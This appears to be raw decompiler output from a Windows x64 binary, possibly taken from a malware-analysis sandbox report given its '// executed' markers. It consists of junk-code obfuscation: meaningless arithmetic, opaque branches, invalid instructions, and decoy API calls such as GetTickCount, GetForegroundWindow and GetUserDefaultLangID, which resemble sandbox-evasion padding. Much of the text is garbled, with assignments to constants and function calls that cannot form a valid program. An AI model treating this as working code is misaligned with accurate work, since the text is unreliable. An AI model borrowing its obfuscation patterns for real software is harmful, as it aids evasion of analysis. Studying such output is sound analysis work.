				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x23;
				if (0x25 - 0x23 < 0) goto 0xb1ca7a7c;
				__rbx = 0x1a;
				__rsp = 0x2d;
				_pop(__rbp);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + __al;
				 *0xb1decf60 = 0x2d;
				__eax = AnyPopup();
				__rcx = 0;
				__eax = IsZoomed(??);
				__rcx = 0;
				__eax = GetModuleHandleW(??);
				__rcx = 0;
				__eax = IsZoomed(??);
				__rcx = 0;
				 *0xb1decf60 = 0x24;
				__eax = GetModuleHandleW(??);
				__rbx = 0x20;
				asm("cmpsd");
				_push(0x2d);
				asm("adc al, 0x0");
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7ac8;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x33;
				if (0x25 - 0x33 > 0) goto 0xb1ca7ad2;
				__eflags = 0x20 - 0x26;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				__rbx = 0xc;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x69;
				if (0x25 - 0x69 >= 0) goto 0xb1ca7b2b;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7afa;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x44;
				if (0x25 == 0x44) goto 0xb1ca7b1f;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7b0e;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 0x44;
				__ecx = r15d & 0xffffff00 | __rax != 0x00000044;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0x2d;
				__rbx = 0x126552d000000039;
				 *0xb1decf60 = 0xc;
				__eflags = 0xc - 0x11;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				__rax = 0x14;
				asm("adc al, 0x0");
				__rax = 0x5d463f7100000041;
				__eflags = 0x14 - 0x1d;
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup() = E00007FF67FF6B1D3ACF4(0x5d463f7100000041);
				__rax = 0x5d02126100000041;
				if (__eflags >= 0) goto 0xb1ca7b69;
				0x53ced87900000014 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (__eflags < 0) goto 0xb1ca7bb3;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7b8e;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x3b;
				if (0x14 - 0x3b > 0) goto 0xb1ca7bb3;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7ba2;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0x14 - 0x3b;
				__ecx = r15d & 0xffffff00 | 0x00000014 - 0x0000003b <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca7bcc;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7bc2;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14;
				if (0x14 > 0) goto 0xb1ca7bcc;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1DA4020();
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7be1;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movsd xmm6, [0x116f17]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags <= 0) goto 0xb1ca7d0d;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c0a;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x20;
				if (0x14 - 0x20 > 0) goto 0xb1ca7cc2;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c22;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x29;
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c55;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c36;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1c;
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c55;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c4a;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1c;
				r15d = r15d & 0xffffff00 | 0x00000014 - 0x0000001c < 0x00000000;
				goto 0xb1ca7ca8;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c64;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x7b;
				if (0x14 - 0x7b > 0) goto 0xb1ca7c8a;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				__eflags = 0x14;
				if (0x14 >= 0) goto 0xb1ca7c78;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (0x14 <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime() = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c9f;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x7b;
				r15d = r15d & 0xffffff00 | 0x00000014 - 0x0000007b > 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				__eflags = r14d - 0x5c;
				if (r14d - 0x5c < 0) goto 0xb1ca7c13;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7cd4;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0x14 - 0x20;
				__ecx = r15d & 0xffffff00 | 0x00000014 - 0x00000020 > 0x00000000;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7cf3;
				__rax = 0xe93332e300000044;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags > 0x00000000;
				 *0xb1decf60 = 0x14;
				goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				__rax = 0xe90312e300000044;
				__eflags = 0x14;
				if (0x14 >= 0) goto 0xb1ca7d1f;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1d;
				if (0x14 - 0x1d <= 0) goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7d34;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x67;
				if (0x14 != 0x67) goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7d49;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0xe93332e300000044 - 0x67;
				__ecx = r15d & 0xffffff00 | 0xe93332e300000044 == 0x00000067;
				 *0xb1decf60 = 0;
				__rax = 0x4d;
				if (0xe93332e300000044 - 0x67 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7d7a;
				0xef508b1b00000020 = 0xff7babfb00000023;
				__rax = 0x8aee5e300000050;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (__eflags > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7da0;
				__rax = 0x8aee5e300000050;
				__eflags = 0x4d - 0xb;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				__rcx = 0;
				__eax = IsIconic(0xb1ca8590);
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7dbd;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				__eax = r15d & 0xffffff00 | __eflags > 0x00000000;
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7dea;
				__rax = 0x8aee5e300000050;
				asm("movsd xmm6, [0x116af6]");
				__eflags = 0x4d - 0x76;
				if (0x4d != 0x76) goto 0xb1ca7e39;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				__eflags = __eax;
				if (__eflags >= 0) goto 0xb1ca7e07;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags >= 0) goto 0xb1ca7e39;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7e25;
				__rax = 0x8aee5e300000050;
				__eflags = 0x4d - 0x30;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				__eax = GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e53;
				__rax = 0x8aee5e300000050;
				__ecx = r15d;
				__eflags = 0x4d - 0x79;
				__ecx = r15d & 0xffffff00 | 0x0000004d != 0x00000079;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e72;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e9a;
				__rax = 0x8aee5e300000050;
				__ecx = r15d;
				__eflags = 0x8aee5e300000050 - 0xb;
				__ecx = r15d & 0xffffff00 | 0x8aee5e300000050 - 0x0000000b <= 0x00000000;
				 *0xb1decf60 = 0;
				__rax = 0x15;
				asm("adc al, 0x0");
				__rax = 0x59df3f7100000042;
				__eflags = 0x15 - 0x18;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(0x59df3f7100000042) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7ecb;
				0x50ac058900000015 = 0xdebf25eb00000017;
				__rax = 0xe7f25fd300000044;
				__eflags = 0x15 - 0x4e;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(0xe7f25fd300000044) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7ee0;
				__rax = 0xe7f25fd300000044;
				__eflags = 0xe7f25fd300000044 - 0x65;
				if (0xe7f25fd300000044 - 0x65 > 0) goto 0xb1ca7f1b;
				__rax = 0x68;
				if (0xe7f25fd300000044 == 0x65) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f07;
				0xef508b1b0000003b = 0xff7babfb0000003b;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x65;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x00000065 <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f2b;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x24;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f44;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x15;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f59;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x5e;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				__rcx = 0;
				__eax = GetWindowTextLengthW(??);
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f76;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x15;
				r15d = r15d & 0xffffff00 | 0x00000068 - 0x00000015 >= 0x00000000;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f94;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x63;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7fa9;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x13;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7fc2;
				__rax = 0x8aee5e300000068;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (__eflags < 0) goto 0xb1ca80ba;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7fec;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x1e;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8005;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x78;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				__eax = GetCurrentProcess();
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8020;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x78;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x00000078 <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eflags = __eax;
				if (__eflags >= 0) goto 0xb1ca8046;
				__rax = 0x8aee5e300000068;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (__eflags != 0) goto 0xb1ca805e;
				if (__eflags == 0) goto 0xb1ca8064;
				__eax = GetDoubleClickTime();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca807a;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x3f;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x0000003f > 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca80a0;
				__rax = 0x8aee5e300000068;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca80d1;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x13;
				r15d = r15d & 0xffffff00 | 0x00000068 - 0x00000013 <= 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca80f7;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x3f;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca810c;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x3f;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca812d;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x18;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8142;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x7e;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8157;
				__rax = 0x8aee5e300000068;
				r8d = r15d;
				__eflags = 0x8aee5e300000068 - 0x18;
				r8b = 0x8aee5e300000068 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *0x93339E80000004D;
				r8d = _a144;
				__rdx =  *0x93339E8000000C5;
				__rcx =  *0x93339E8000000BD;
				__eax = E00007FF67FF6B1CB41F0(__eax, __edx, 0x126552d000000039,  *0x93339E8000000BD, 0x8000007f); // executed
				__rdx = 0;
				__rdi = __rax;
				_t65 = __rdx + 2; // 0x2
				__rcx = _t65;
				__eax = E00007FF67FF6B1D3B360(__ecx, __rbx, 0, __rdi, __r14);
				__rdx =  *((intOrPtr*)(0x93339e80000004d));
				__rcx =  *((intOrPtr*)(0x93339e8000000bd));
				__eax = E00007FF67FF6B1CB4910(__eax, __edx,  *((intOrPtr*)(0x93339e8000000bd)));
				 *0xb1decf60 = 0x2d;
				__rsi = 0xffffff80;
				asm("push es");
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movsd xmm6, [0x11694a]");
				__eflags = __rax - 5;
				if (__rax != 5) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca81e3;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags < 0) goto 0xb1ca8240;
				__rbx = 0x60;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca820e;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x79;
				if (__rax - 0x79 >= 0) goto 0xb1ca8218;
				__eflags = 0x60 - 0x67;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8228;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = __rax;
				__rcx = 0;
				 *0xb1decf60 = 0x2d;
				__eax = GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				__eflags = r12d - 0x42;
				if (r12d - 0x42 < 0) goto 0xb1ca824e;
				__eax = GetMessageTime();
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8274;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x2e;
				if (__rax - 0x2e > 0) goto 0xb1ca82a0;
				__eax = GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca828f;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 0x2e;
				__ecx = r15d & 0xffffff00 | __rax - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rbx = 0x6b;
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + __cl;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + __cl;
				 *0x6b =  *0x6b + __al;
				__rax = _a152;
				__rax = _a152 + 0x2d;
				_a152 = __rax;
				 *0xb1decf60 = __rax;
				__eflags = __rax - 0x1f;
				if (__eflags < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = 0x2d;
				asm("movsd xmm6, [0x116455]");
				__rbx = 0x3;
				_push(0xe800144c);
				__edx = __eax *  *0x00000000 >> 0x20;
				__eax = __eax *  *0x00000000;
				 *__rax =  *__rax | __rax;
				__eax = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8308;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (__eflags != 0) goto 0xb1ca8318;
				if (__eflags == 0) goto 0xb1ca831d;
				__eflags = 0x3 - 0x13;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				__eax = GetForegroundWindow();
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8333;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x34;
				if (__rax - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				__rbx = 0x45;
				asm("adc cl, [esp+edx]");
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca835e;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x1a;
				if (__rax - 0x1a >= 0) goto 0xb1ca8368;
				__eflags = 0x45 - 0x52;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8378;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 0x34;
				__ecx = r15d & 0xffffff00 | __rax - 0x00000034 < 0x00000000;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8397;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x1f;
				if (__rax != 0x1f) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca83ac;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 4;
				if (__rax == 4) goto 0xb1ca83d6;
				__eax = GetForegroundWindow();
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca83c7;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 4;
				__ecx = r15d & 0xffffff00 | __rax != 0x00000004;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				__eflags = r13d - 0x54;
				if (__eflags < 0) goto 0xb1ca83d6;
				__rax = 0x10;
				asm("push ss");
				if (__eflags < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = 0x2d;
				GetUserDefaultLangID() = GetCurrentProcessId();
				__eax = GetTickCount();
				__rcx = 0;
				 *0xb1decf60 = 0x2d;
				__eax = IsIconic(??);
				__rax = 0x50;
				asm("adc al, 0x0");
				__rax = 0x546a3f710000007d;
				__eflags = 0x50 - 0x56;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(0x546a3f710000007d) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8440;
				0x4b37058900000050 = 0x7ff727c9ffffffd0;
				__rax = 0x892a61b1fffffffd;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8466;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x63;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x7ff727c9ffffffd0 + 0x2d) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8485;
				__rax = 0x892a61b1fffffffd;
				__ecx = r15d;
				__eflags = 0x50 - 0x2c;
				__ecx = r15d & 0xffffff00 | 0x00000050 - 0x0000002c < 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				__rcx = 0;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca84bb;
